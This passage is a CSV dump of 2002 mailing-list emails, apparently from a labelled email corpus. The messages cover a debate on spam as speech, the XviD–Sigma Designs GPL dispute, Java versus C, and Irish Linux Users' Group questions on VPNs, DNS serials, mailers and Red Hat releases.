Entrepreneurs,"On Fri, 23 Aug 2002, Robert Harley wrote: --]Next time I hear a joke, I promise not to laugh until I have checked --]out primary sources for confirmation in triplicate, OK? Oh please. Walking sideways like that is bad for your shoes. Though it is kinda cute when you get all reasonomatic bang bang have a nice day. http://xent.com/mailman/listinfo/fork",0,1 Lucas Gonze ,,"Fri, 23 Aug 2002 16:30:01 -0400 (EDT)",Re: The case for spam,"Dan Brickley wrote: > Except that thanks to the magic of spam, it's usually some else's locale yeah, physical mail makes more sense for physical locales. > There are better technical solutions to privacy > protection than sending a copy of the same message to everyone on the > Internet, so the recipients can't be blamed for reading it. Such as? Anything equivalent will be spam, just not email spam. Dump entry IPs for an anonymizing network onto a public bulletin board that's used for other purposes -- still spam. Etc etc. I'm not arguing against other solutions, I'm arguing that spam is speech. If you let governments ban it, you're giving them the power to choose who gets to speak. - Lucas http://xent.com/mailman/listinfo/fork",0,1 Lucas Gonze ,Russell Turpin ,"Fri, 23 Aug 2002 16:10:39 -0400 (EDT)",Re: The case for spam,"me: > >Spam is *the* tool for dissident news, since the fact that it's unsolicited > >means that recipients can't be blamed for being on a mailing list. > Russell Turpin: > That depends on how the list is collected, or > even on what the senders say about how the list > is collected. Better to just put it on a website, > and that way it can be surfed anonymously. AND > it doesn't clutter my inbox. It doesn't work that way. A website is opt-in, spam is no-opt. If you visit a samizdat site you can get in trouble. If you get samizdat spam, the worst that can be said is that you might have read it. And as long as the mailers send to individuals who clearly didn't opt-in, like party officials, then other recipients can't get in trouble for requesting the mail. Plus, it's much harder to block spam than web sites. But this shouldn't come as a surprize. Spam is speech. It may be sleazy, but so what. - Lucas http://xent.com/mailman/listinfo/fork",0,1 Tom ,fork@spamassassin.taint.org,"Fri, 23 Aug 2002 18:33:37 -0400 (EDT)",GPL limits put to a test,"XviD [1] is a project to make GPL divx codecs. Sigma Designs [1] is a company looking to put out hardware to playback, amongst other things, divx files. Problem is Sigma is using XviDs gpled code in ways not very gpl. The results....XviD stops work on thier code and ask the users to put preasure on Sigma to honor the GPL. Some notes from other places.... >>From Doom9 [3] ""XviD development has been stopped! The Sigma Designs REALMagic MPEG-4 Video Codec contains wide portions of code taken from the XviD project. Soon after the initial release of the REALMagic codec the XviD developers have contacted Sigma and informed them about the GPL violation (for those who don't know, XviD is distributed under the GNU Public License - GPL - which demands that if you modify a GPL program you have to release it under the GPL, which in this case means that the source code of the Sigma codec must be freely available). Sigma promised to replace the stolen code, but the new version of the codec which was released this month only disguises the stolen code, it was not actually removed. Sigma was once again contacted and asked to remove the offending code but until today nothing has happened. Therefore the XviD team is now turning to the public in the hope to receive wide public support in their efforts to convince Sigma Designs to respect the terms of the GPL. And until the matter has been resolved XviD development will not continue. That being said I hope all the forum members who saw their threads about the Sigma Codecs being closed will understand our motivation now. Internally we already knew what was going on but since the XviD authors first wanted to try and resolve this internally we respected their wishes and kept quiet about the matter at hand. [Update] Sigma has issued a press release announcing the availability of the source code of their MPEG-4 codec and it's already up for download. However, not a word was lost about the XviD issue and the press release makes one think that the Sigma codec was entirely developed by Sigma so we might be hearing more about this. [Update] I found a GPL notice in some of the source code files, but it also looks like Sigma placed their own copyright lines there and XviD doesn't get any credit in the source either. The GPL notice also collides with Sigma's Software Licensing Agreement that you have to sign before downloading codec or source. On on the same issue DivXNetworks said they'd fully support XviD in this issue and apparently DXn's relationship with Sigma didn't really work out either, as Sigma's Xcard is not as DivX compatible as it was advertised. [Update]First an update on the XviD situation. The release of the Sigma source code does not mean it's all over, it's far from being over. The license agreement which you have to agree to before you can download, and install the codec is not compatible with the GPL. Furthermore, it can now clearly be seen (download the source code and have a look for yourself) that the Sigma codec is pretty much a copy of the XviD codec, but all the copyright notices of the original developers have been removed and replaced. This does not only violate the GPL but copyright laws - you can't just take a program, change a few lines and change the copyright statements, you only have copyright protection for the parts you wrote on your own. And related to this the Sigma codec also contains code taken from the OpenDivX project, the files were outfitted with 2 different copyright notices which is quite funny."" [1] http://www.xvid.org/ [2] http://www.sigmadesigns.com [3] http://www.doom9.org/ http://xent.com/mailman/listinfo/fork",0,1 Lucas Gonze ,,"Fri, 23 Aug 2002 16:33:15 -0400 (EDT)",Re: The case for spam,"> Russell Turpin: > > That depends on how the list is collected, or > > even on what the senders say about how the list > > is collected. Senders should vary the recipient list to include non-targets, like party officials, and to exclude targets enough to give them plausible deniability. - Lucas http://xent.com/mailman/listinfo/fork",0,1 Tom ,vox@mindvox.com,"Fri, 23 Aug 2002 19:42:44 -0400 (EDT)",Re: [vox] GPL limits put to a test,"On Fri, 23 Aug 2002, Tom wrote: --] --]XviD [1] is a project to make GPL divx codecs. Sigma Designs [1] is a Sorry, Sigma Designs should be the [2] not the [1] http://xent.com/mailman/listinfo/fork",0,1 Tom ,fork@spamassassin.taint.org,"Fri, 23 Aug 2002 19:01:45 -0400 (EDT)",The GOv gets tough on Net Users.....er Pirates..,"from http://www.arstechnica.com/ ""There has mostly been talk thus far and little action, but the Department of Justice says it may be ready to file criminal lawsuits against individuals [1] who distribute or receive unauthorized copyrighted material over the Internet. Deputy Assistant Attorney General John Malcolm believes that ""criminal prosecutions of copyright offenders are now necessary to preserve the viability of America's content industries."" Malcolm also believes that people who trade copyrighted material think they are participating in a legal activity. I certainly think people who download copyrighted works understand that such distribution--barring provisions such as fair use--is not authorized, and it is not surprising to see businesses continue to look for means to discourage distribution of copyrighted works. ""Some prosecutions that make that clear could be very helpful...I think they would think twice if they thought there was a risk of criminal prosecution,"" said [RIAA President Cary] Sherman, who was on the same conference panel. I'm not too confident that lawsuits would have the effect Sherman is hoping for. Although infrequent, there have already been civil suits or warnings issued to private individuals, and they have served as minor deterrents to the file-sharing community at large. Criminal lawsuits carrying with them the possibility of prison sentences may generate further animosity against groups such as the RIAA and may be difficult to initiate because of the ""schooling"" effect of millions of systems participating in file sharing. Only servers would seem to stand out from the crowd. The article cites the No Electronic Theft (NET) Act [2], which defines illegal activity and maximum penalties for copyright infringement: Criminal infringement: Any person who infringes a copyright willfully for purposes of commercial advantage or private financial gain, or by the reproduction or distribution, including by electronic means, during any 180-day period, of 1 or more copies or phonorecords of 1 or more copyrighted works, which have a total retail value of more than $1,000.... For purposes of this subsection, evidence of reproduction or distribution of a copyrighted work, by itself, shall not be sufficient to establish willful infringement. ... The term ""financial gain"" includes receipt, or expectation of receipt, of anything of value, including the receipt of other copyrighted works. Therefore, receipt of a work of value would be defined as ""financial gain"" even if no money is involved. The NET Act excerpt does not clarify how the value of a work is determined; an album or movie could be worth only $15 to millions of dollars depending on whether the value is assessed from the perspective of the consumer or copyright holder. The statute of limitations: 507. Limitations on actions (a) Criminal Proceedings.--No criminal proceeding shall be maintained under the provisions of this title unless it is commenced within five years after the cause of action arose. (b) Civil Actions.--No civil action shall be maintained under the provisions of this title unless it is commenced within three years after the claim accrued. The penalties are too extensive to list here, but they can be found in Section 2319: Criminal infringement of a copyright. In general, first-time criminal offenses will carry a maximum prison sentence of 1 year. I'm still not sure where the DOJ would start in choosing people to prosecute because of the aforementioned ""schooling"" effect, but my guess would be that, just like speeding, primarily the most prominent individuals who operate large servers or transfer the most data will be targeted in order to discourage more recreational file sharers. Thanks to MonaLisaOverdrive for pointing out this story. "" [1] http://news.com.com/2100-1023-954591.html?tag=fd_top [2] http://www.usdoj.gov/criminal/cybercrime/17-18red.htm http://xent.com/mailman/listinfo/fork",0,1 """Adam L. Beberg"" ",Tom ,"Sat, 24 Aug 2002 01:12:31 -0700 (PDT)",Re: The GOv gets tough on Net Users.....er Pirates..,"On Fri, 23 Aug 2002, Tom wrote: > from http://www.arstechnica.com/ > > ""There has mostly been talk thus far and little action, but the > Department of Justice says it may be ready to file criminal lawsuits > against individuals [1] who distribute or receive unauthorized > copyrighted material over the Internet. And yet STILL noone is out there creating _public domain_ content. Is there even one person out there can can even begin to talk without being a complete hypocrite? And no the ""open source"" people cant talk either, the GPL aint even close. I know I cant talk. If the creator didnt say you could have it without paying, it's theft, so simple, hell that's even in all the major holy books. Fair use needs to be clarified a bit and then I hope they start locking people up. How else do i ever have hope of finding a job working for someone that makes things people are supposed to ... *drumroll* pay for. - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com http://xent.com/mailman/listinfo/fork",0,1 """Joseph S. Barrera III"" ",rbfar@ebuilt.com,"Sun, 01 Sep 2002 18:07:29 -0700",Re: Java is for kiddies,"Reza B'Far (eBuilt) wrote: > problems.... Why do most computer scientists insist on solving the same > problems over and over again when there are some many more important and > interesting problems (high level) to be solved ????? Amen! Doing it in an (unecessarily) harder way does NOT make you more of a man (or less of a kiddie). - Joe",0,0 """"" Angles "" Puglisi"" ","""FreshRPMs List"" ","Mon, 02 Sep 2002 01:10:33 +0000",package my stuff please :P,"If I have any RPMS in http://www.dudex.net/rpms/ that could be useful to some one with a real apt repository or someone who wants to maintain a package, be it known I am not selfish :) I found stuff I thought would later get popular so I would not have to maintain the RPMs for them after they hit the big time. Gnump3d is an exapmple of this. So if anyone is psyched, go for it. If so, let me know so I can get the RPMs from you in the future. -- That's ""angle"" as in geometry. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """Adam L. Beberg"" ","""Reza B'Far (eBuilt)"" ","Sun, 1 Sep 2002 19:21:33 -0700 (PDT)",RE: Java is for kiddies,"On Sun, 1 Sep 2002, Reza B'Far (eBuilt) wrote: > 2. C and C++ forces the developer to solve problems such as memory > management over and over again. IMHO, Java is superior because the problem > of programming in the future is not about 0's and 1's, making the compiler > 2% faster, or making your code take 5% less memory... It's about design > patterns, architecture, high level stuff... Considering 90% of the fake job posting I see are for embedded systems or device drivers - C still rules the world. > 3. Java is not just a programming language! It's also a platform... There > is NOTHING like the standard API's in Java in C and C++. Everyone defines > their own API's, people end up solving the same problems ten different ways The problem is the problem you're trying to solve is never the same. Java will soon suffer API-rot (alot of poeple are already complaining about it), it's just new. C was clean in the beginning too. API-rot is PURELY a function of age. > 4. If you have a program of any type of high complexity written in C, you > can't possibly think that you could port it to different platforms within > the same magnitude of cost as Java.... I do this all the time, It's alot easier then you think if the original programmer had a clue at all... Java does remove the clue requirement tho, just adds a huge testing requirement, QA guys aren't as cheap ;) > 5. Makes no sense for a scientific or a business project to depend on a > person... Java, IMHO, reduces the dependence of these entities on the > individual developer as it is much easier to reverse engineer Java as it is > to reverse engineer C (large applications). No it's not, but you can hire teams of Javites for cheap at your local high school. Java is about cutting costs and commoditizing programming - and it's working! - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com",0,1 """Mr. FoRK"" ",,"Sun, 1 Sep 2002 20:43:51 -0700",Re: Java is for kiddies,"> > 6. Hardware is getting so fast that I'm not sure if the performance > difference between Java and C/C++ are relevant any more. When out-of-the-box parsing & transform of XML in java is 25x slower than C++ on the same hardware then it does matter.",0,0 """Russell Turpin"" ",fork@spamassassin.taint.org,"Mon, 02 Sep 2002 06:44:25 +0000",RE: Java is for kiddies,"Adam Beberg: >Considering 90% of the fake job posting I see are for embedded systems or >device drivers - C still rules the world. There is a lot of C++ in the embedded world. With static object allocation and a few other programming techniques, performance differences disappear, but C++ gives a boost in development and maintainability. The real issue is compiler availability. Almost every embedded platform has C cross-compilers. Many have C++ compilers. But there is still a range of platforms that have the first but not the second. Or at least, that was the story a few years ago. _________________________________________________________________ Send and receive Hotmail on your mobile device: http://mobile.msn.com",0,1 """John P. Looney"" ",ILUG main list ,"Mon, 2 Sep 2002 08:30:57 +0100",Re: [ILUG] Seconds to date?,"On Sun, Sep 01, 2002 at 04:14:17PM +0100, Paul Jakma mentioned: > On Sun, 1 Sep 2002, kevin lyda wrote: > > > gnu date is limited by time_t. but i thought time_t expired in 2037? > > this seems to show it expiring in 2038: > > (2^31-1)/3600/24/365+1970 > 2038 > > course, on UltraSparc, x86-64, IA64, alpha, etc: > > (2^63-1)/3600/24/365+1970 > 292471210647 > > so we should be safe enough. May I assume that x86-64 will be able to use a 64bit time_t too? Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Adam L. Beberg"" ",Russell Turpin ,"Mon, 2 Sep 2002 00:37:39 -0700 (PDT)",RE: Java is for kiddies,"On Mon, 2 Sep 2002, Russell Turpin wrote: > Adam Beberg: > >Considering 90% of the fake job posting I see are for embedded systems or > >device drivers - C still rules the world. > > There is a lot of C++ in the embedded world. With static object > allocation and a few other programming techniques, performance > differences disappear, but C++ gives a boost in development and > maintainability. Agreed, not much difference there. With C it just doesnt seem as wrong to be crawling around in registers and things. Quite frankly you cant fit _that_ big of a project into a 32K ROM, so large project issues dont matter as much in the embedded world. And in the realtime space, or when you have data coming in at 2Gbit/sec [fibrechannel], every cycle DOES count. > The real issue is compiler availability. Almost every embedded platform > has C cross-compilers. Many have C++ compilers. But there is still a > range of platforms that have the first but not the second. Or at least, > that was the story a few years ago. Definately still very very true. C++ compilers are still a rarity. - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com",0,1 """Quinn, Dell"" ","""'ilug@linux.ie'"" ","Mon, 2 Sep 2002 04:53:53 -0500",[ILUG] Can I be added to your email distribution lists?,"Dell Quinn Account Executive Fleishman-Hillard Saunders 15 Fitzwilliam Quay Dublin 4 Ireland Tel: 01 6188428 Fax: 01 6602244 Mobile: 086 6048101 -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Mon, 2 Sep 2002 11:54:55 +0200 (CEST)",RE: Java is for kiddies,"Reza B'Far wrote: >This thread kind of surprises me... I started coding with C, then C++, and >moved on to Java... And, I think that: Looks like a case of ""MY experience is comprehensive, YOUR'S is anecdotal, THEY don't know what they're talking about"". >1. The people who pay the wages don't give a flyin' heck what programming >language you write things in... they just want it to work. In my experience, they do care. It has to work certainly, and in particular it has to work with what they've already got, and it has to work on client's systems. My limited experience of Java started a few years ago when support on Linux was so terrible that I ran away screaming and haven't come back yet. Microsoft has announced that they plan to remove Java from Windows. They took it out of XP already and it has to be installed with a service pack. Somehow, I can't imagine them removing the ability to run C programs. >2. C and C++ forces the developer to solve problems such as memory >management over and over again. Can't say I spend any noticeable amount of time on memory management issues, apart from the fact that I frequently need > 4 GB. >It's about design patterns, architecture, high level stuff... If your problem just requires application of a ""design pattern"" to solve, then it's trivial anyway irrespective of language. >I am amazed by the amount of time wasted by people talking about low >level problems that have been solved 10 million times over and over >and over again... You appear to be gratuitously asserting that C programmers waste time on irrelevant low-level problems and Java programmers don't. Depends entirely on the programmer, not the language. >3. Java is not just a programming language! It's also a platform... Buzzword. >a monolithic set of API's or a crap load of different API's slicing >and dicing the same problems 50 different ways? Unsupported assertion. >4. If you have a program of any type of high complexity written in C, you >can't possibly think that you could port it to different platforms within >the same magnitude of cost as Java.... Dunno. E.g., I ported a wee 15000-line C program to Darwin on PowerPC in a few minutes yesterday. Sure if it was badly designed it would be 10 times the size and harder to port. If it depended on unavailable libraries it would be much harder. Portable code is easy to port. At least that is the case when then language you used is available on the target platform: I also run on ARM systems with no proper Java. >5. Makes no sense for a scientific or a business project to depend on a >person... Java, IMHO, reduces the dependence of these entities on the >individual developer as it is much easier to reverse engineer Java as it is >to reverse engineer C (large applications). You can pay a good programmer to solve your problem now, or else get some kids to hack spaghetti Fortran in any language and then pay for maintenance headaches ad infinitum. >6. Hardware is getting so fast that I'm not sure if the performance >difference between Java and C/C++ are relevant any more. Whoah!!! Performance matters to me every day. (Right now I'm taking time out to write email while waiting for a job to run). Sure I could wait 5 years until everyone's PC is fast enough to generate random EC's in no time, when any twit will be able to program inefficient code that is fast enough and the market will be overrun by competitors, or I can do it now when very few people can. >The end goal is the scientific or business problem to be solved. Yes. >And for those problems, languages such as Java, SmallTalk, and others >allow you to think more high level than low level. Thinking of bits >and bytes takes too much gray matter away from the real important >problems.... It's true! I admit everything! Mea maxima culpa! Working in C makes me spend all day thinking base, rank thoughts about hard-core bitography! Not. Actually I spend most of my time thinking in high-level mathematics. >Why do most computer scientists insist on solving the same problems >over and over again [...] Dunno, and frankly I don't see the relevance to the issue at hand. I'm sure Java is fine for some stuff, as is C or whatever. Horses for courses. Bye, Rob. .-. .-. / \ .-. .-. / \ / \ / \ .-. _ .-. / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / `-' `-' \ / \ / \ \ / `-' `-' \ / `-' `-'",0,0 Niall O Broin ,ilug@linux.ie,"Mon, 2 Sep 2002 11:00:17 +0100",[ILUG] VPN implementation,"I need to setup a VPN between a few sites. From what I've read, the the choices come down (on the Linux side) to IPsec (using FreeSWAN) or CIPE. It seems that FreeSWAN is 'better', being an implementation of IPsec which is a standard. However, CIPE does the job as well for Linux clients and is somewhat simpler to setup. The problem is that it's not a pure Linux situation - a couple of the sites run OS-X. I'm pretty sure that I'll be able to find an implementation of IPsec for OS-X, but I think CIPE is Linux only. So, the question is for those of you have have implemented BOTH - is there a significant difference in setup time and hassle between CIPE and FreeSWAN ? If CIPE is going to be much easier than dealing with FreeSWAN (and whatever on the OS-X sites) then I'll simply get a Linux box for each of the remote sites - with the low price of hardware, it doesn't take much more complexity in software to make buying hardware to use simpler software economic. Niall -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """HAMILTON,DAVID (HP-Ireland,ex2)"" ","""'ilug@linux.ie'"" ","Mon, 2 Sep 2002 11:35:53 +0100",[ILUG] The Age Old 'Which Mailer' Question,"I am trying to manage the email for a domain which I have hosted with hosting365, and am trying to get the whole email send and receive thing working nice and easily. At the moment I have configured Fetchmail to poll the different pop3 mailboxes and deliver the mail accordingly, although it appears that I have to have only one unix user being able to receive from each pop3 mailbox. This could be a limitation of the fetchmailconf programme, I'm not sure, but It would be much handier if I could just tell it to collect all of the mail from the different mailboxes, and then deliver it locally according to the ""To:"" header instead of the pop3 mailbox it came from. The other issue I am having is sending outgoing mail. I have been trying to use sendmail, but am finding it to be an absolute pain in the posterior, and when the relay server will only accept outgoing connections if I have checked for incoming mail in the last twenty minutes, and I don't know how to set sendmail to run a command before it sends out the mail. Do any of the outgoing mailer programs, exim or postfix or whatever, have a 'nice' configuration interface, or do they all have nice friendly configuration files like sendmail. Any suggestions of alternative solutions would be much appreciated. There are only three or four email addresses in my domain, and setting it up for scheduled collection and either scheduled or immediate delivery would do me fine. Thanks, David. David Hamilton Senior Technical Consultant HP Ireland -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Dermot Daly"" ",,"Mon, 2 Sep 2002 11:45:50 +0100",[ILUG] What HOWTOs for SOHO system,"Hi All, I'm trying to set up the following: 1. A Linux server running with a modem for internet connectivity and an ethernet card for LAN connectivity 2. Other LAN pcs with ethernet cards, using the Linux server for DNS/DHCP etc. Basically, I want to route any non LAN traffic through the ppp0. I've got some of the way, but like a similar post earlier about modem problems, when I am connected to the internet with eht0 up, the routing is all incorrect and noting goes out through ppp0 (eh0 must be the default route or something). Is there standard ""out of the box"" Linux tools that will carry out portmapping on behalf of the LAN PCs ? (I'm planning on non routable addresses 192.168.x.x for the LAN, routed outwards via the ppp0 interface). Can someone point me at the right HOWTOs or routing documentation I need to follow ? Thanks, Dermot. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Justin MacCarthy"" ","""Dermot Daly"" ","Mon, 2 Sep 2002 11:46:57 +0100",RE: [ILUG] What HOWTOs for SOHO system,"Hi Dermot, if have a look at one of the dists. like www.smoothwall.org, it will save you lots of time and effort, and should do eveything you want. Justin > -----Original Message----- > From: ilug-admin@linux.ie [mailto:ilug-admin@linux.ie]On Behalf Of > Dermot Daly > Sent: Monday, September 02, 2002 11:46 AM > To: ilug@linux.ie > Subject: [ILUG] What HOWTOs for SOHO system > > > Hi All, > I'm trying to set up the following: > > 1. A Linux server running with a modem for internet connectivity and an > ethernet card for LAN connectivity > 2. Other LAN pcs with ethernet cards, using the Linux server for > DNS/DHCP etc. > > Basically, I want to route any non LAN traffic through the ppp0. > > I've got some of the way, but like a similar post earlier about modem > problems, when I am connected to the internet with eht0 up, the routing > is all incorrect and noting goes out through ppp0 (eh0 must be the > default route or something). > > Is there standard ""out of the box"" Linux tools that will carry out > portmapping on behalf of the LAN PCs ? (I'm planning on non routable > addresses 192.168.x.x for the LAN, routed outwards via the ppp0 > interface). > > Can someone point me at the right HOWTOs or routing documentation I need > to follow ? > Thanks, > Dermot. > > -- > Irish Linux Users' Group: ilug@linux.ie > http://www.linux.ie/mailman/listinfo/ilug for (un)subscription > information. > List maintainer: listmaster@linux.ie > > > -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Justin MacCarthy"" ","""Ilug@Linux.Ie"" ","Mon, 2 Sep 2002 11:48:22 +0100",[ILUG] Email list management howto,"I think I'll ask this question again, as I sent on friday afternoon. :-) Justin > Hi, > > Can anyone point me to a howto on running mailing lists. Not looking for > anything that is package specific, but rather something that > gives general > info on the various Email headers and dealing with returned > mails, errors in > transport etc.. > > Thanks > > Justin -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Philip Reynolds ,ilug@linux.ie,"Mon, 2 Sep 2002 11:57:16 +0100",Re: [ILUG] Serial number in hosts file,"Ray Dermody's [DERMODYR@ITCARLOW.IE] 20 lines of wisdom included: > Hi All, > The serial number in our hosts files on our DNS server has gone > corrupt e.g. 2002082999999999901 should be 20002082901. > Its okay to set this back to todays date but I understand that our > secondary and terninary DNS servers will only update from the master > hosts file if the master host serial number is greater than the current > serial number in the hosts file. > Is there any way I can reset this on the secondary and terninary DNS > servers? Once you have the serial changed on the master DNS server, remove the appropiate zone(s) on your slaves, and refresh your DNS servers. Bind has a special case, if you set the serial to '0' I think. DNS & Bind should have something on that. -- Philip Reynolds RFC Networks tel: 01 8832063 www.rfc-networks.ie fax: 01 8832041 -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Waider ,vincent@cunniffe.net,"Mon, 02 Sep 2002 12:00:39 +0100",Re: [ILUG] Email list management howto,"-----BEGIN PGP SIGNED MESSAGE----- Vincent Cunniffe wrote: | Justin MacCarthy wrote: | |> I think I'll ask this question again, as I sent on friday afternoon. :-) | | | Mailman ;-) | | Trust me, you do *not* want to running your own mailing lists | on your own software. | | You'll wind up crying in a dark room looking for something | high-voltage to stick your fingers into. All things considered, I get that effect with Mailman, but the viable alternatives are ezmlm, which is loonware and I'm avoiding on principle, and majordomo, which seems to have stagnated. Oh, and there's apparently something called SmartList which is a bitch to set up. Waider. - -- waider@waider.ie / Yes, it /is/ very personal of me -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iQEVAwUBPXNE16HbXyzZsAb3AQH2KQf/XqeOMaHNXAlzbmgd5iYd9VQaAgWAR2DQ kdpz0NbECR2OS7PJoLY9lsPKgNshpJcDZIRsxJvXmfp5YRNq0AyP0HGGwRvWgjgB 0N9HG/Rgez7S5RhU79RAuhpFb9XO1XzMI0gSkDHSGefQsUOAZ69vZVLLsiRiyHFy 4u+vrPVTP0rYR7haX41JXu42GVWfT2K2DDFftAimqGCsJnu2MXcMI/Ptq1rtxhXD WZhxCR+FAwirEk8Yz9Drl8+gJL0YJQFSoWumQzqLKKutx1lJvv7OS4yDjGRaQpxm Jmq8lifudZayccbixx7ZcXMSlpP4C45Wj5XJSYW8RCjU1bgxTqhMbQ== =eG8X -----END PGP SIGNATURE----- -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Vincent Cunniffe ,ilug@linux.ie,"Mon, 02 Sep 2002 12:00:49 +0100",Re: [ILUG] Email list management howto,"Justin MacCarthy wrote: > I think I'll ask this question again, as I sent on friday afternoon. :-) Mailman ;-) Trust me, you do *not* want to running your own mailing lists on your own software. You'll wind up crying in a dark room looking for something high-voltage to stick your fingers into. Regards, Vin -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Thomas Bridge ,"Ray.Dermody@ITCARLOW.IE, ilug@linux.ie","Mon, 02 Sep 2002 12:04:04 +0100",Re: [ILUG] Serial number in hosts file,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Your actual serial number is 1519761310 - from a dig I've just done. Try resetting the zone number to 2002082901 - some of your secondaries seem to have a serial number below that, so they clearly regard 1519761310 as being less than 2002082601. That should enable them to pick up the new zonefile. T. At 11:49 02/09/2002 +0100, Ray Dermody wrote: >Hi All, >The serial number in our hosts files on our DNS server has gone >corrupt e.g. 2002082999999999901 should be 20002082901. >Its okay to set this back to todays date but I understand that our >secondary and terninary DNS servers will only update from the master >hosts file if the master host serial number is greater than the current >serial number in the hosts file. >Is there any way I can reset this on the secondary and terninary DNS >servers? > >Ray Dermody >Computing Services Technician >I.T. Carlow >0503 76271 > > >-- >Irish Linux Users' Group: ilug@linux.ie >http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. >List maintainer: listmaster@linux.ie VIA NET.WORKS Ireland is a wholly owned Limited Irish Company. Although connected to the VIA Global Network, VIA NET.WORKS Ireland is separate from and is not owned by VIA NET.WORKS Inc. or any member of the VIA NET.WORKS Inc. Group. -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 7.0.3 for non-commercial use iQA/AwUBPXNFo76WYZbx1eG3EQLfNwCfakNapOkbg26j1jqQQEHgIWFd4s0AoP4J GLBtgr1K8fzYlnnRNcfT3fSt =Rurr -----END PGP SIGNATURE----- -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Wesley Darlington ,ilug@linux.ie,"Mon, 2 Sep 2002 07:50:21 -0400",[ILUG] Damian Conway in Belfast...,"Hi All, Damian Conway is in Belfast this week. He will be giving two talks: o Perl 6 - Tuesday, 3rd September, 7pm, Jury's, Belfast o Quantum::Superpositions - Thursday, 5th September, 7pm, Jury's, Belfast He is also doing training courses... http://www.kasei.com/training/damian/ Wesley. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Liam Bedford ,ilug@linux.ie,"Mon, 2 Sep 2002 13:07:54 +0100",[ILUG] Marketing SIG has a good start :),"|::::::::::::::::::::::::::::::::::::::::::::::::::| IT's Monday 520 02 September 2002 |::::::::::::::::::::::::::::::::::::::::| STUDENT LIFE BEGINS WITH LINUX by John Sterne The launch last month of a marketing special interest group by the Irish Linux Users Group (ILUG) - open source and marketing, it seems, might not be mutually exclusive concepts - has already sparked an interesting initiative at University College Cork. When the new academic year begins at UCC, every incoming student will be offered a copy of Red Hat Linux 7.3. ILUG member Braun Brelin proposed this promotion, when he ran a training class for staff at the UCC computer science department. Brelin, who is the director of technology at OpenApp, says that the Linux offer could be extended to any or all of the other Irish universities. The user group is tapping into an international Red Hat programme that aims to introduce students at all levels to the open source style of computing. The Linux distributor runs an 'educational channel' to reach this audience, bundling educational software with its operating environment and offering networked support services to eligible applicants. This scheme was originally designed to suit the educational structures in the US, but is now available to schools and universities throughout the world. Red Hat Linux 7.3 incorporates ease of use and maintenance features and is intended to counter objections that Linux is hard to master on personal systems. The Linux-for-all project at UCC could also raise the profile of Red Hat Ireland. Based in Cork, this operation has run shared financial services for other Red Hat offices in Europe since 2000. Until now its involvement with users in Ireland has been fairly limited, although it does sometimes refer them to other Red Hat offices in Europe that offer consulting or technical support services. David Owens, Red Hat's director of global logistics and production, sees the formation of the ILUG marketing group as a reason to take a more proactive approach. In the last three months, he notes, his office in Cork has received more and more calls from Irish companies that are interested in adopting Linux and has introduced some to Red Hat pre-sales consultants. ------------- Many thanks are due to Braun and David for working together on this one. Regards L. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """HAMILTON,DAVID (HP-Ireland,ex2)"" ","""'ilug@linux.ie'"" ","Mon, 2 Sep 2002 15:46:58 +0100",RE: [ILUG] Redhat 8.0,"I just saw the ISOs on an internal server here and was tempted.... D. -----Original Message----- From: John P. Looney [mailto:valen@tuatha.org] Sent: Monday, September 02, 2002 3:45 PM To: HAMILTON,DAVID (HP-Ireland,ex2) Cc: 'ilug@linux.ie' Subject: Re: [ILUG] Redhat 8.0 On Mon, Sep 02, 2002 at 03:22:54PM +0100, HAMILTON,DAVID (HP-Ireland,ex2) mentioned: > Does anyone know when Redhat 8.0 is going to be released? > I have seen some ISO images of it around and I am trying to work out > if it's near release. Null, the third beta was out last week. It'll be an interesting release. Gnome 2.0, and GCC 3.2 - both very new, large projects. I'd not be putting it on any production machines for a while... Though many say ""RedHat X.0 releases are rubbish"" - it's worth baring in mind that they jump a release when the underlying archtechture changes, not just the installer, so they are .0 for a reason. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 kevin lyda ,irish linux users group ,"Mon, 2 Sep 2002 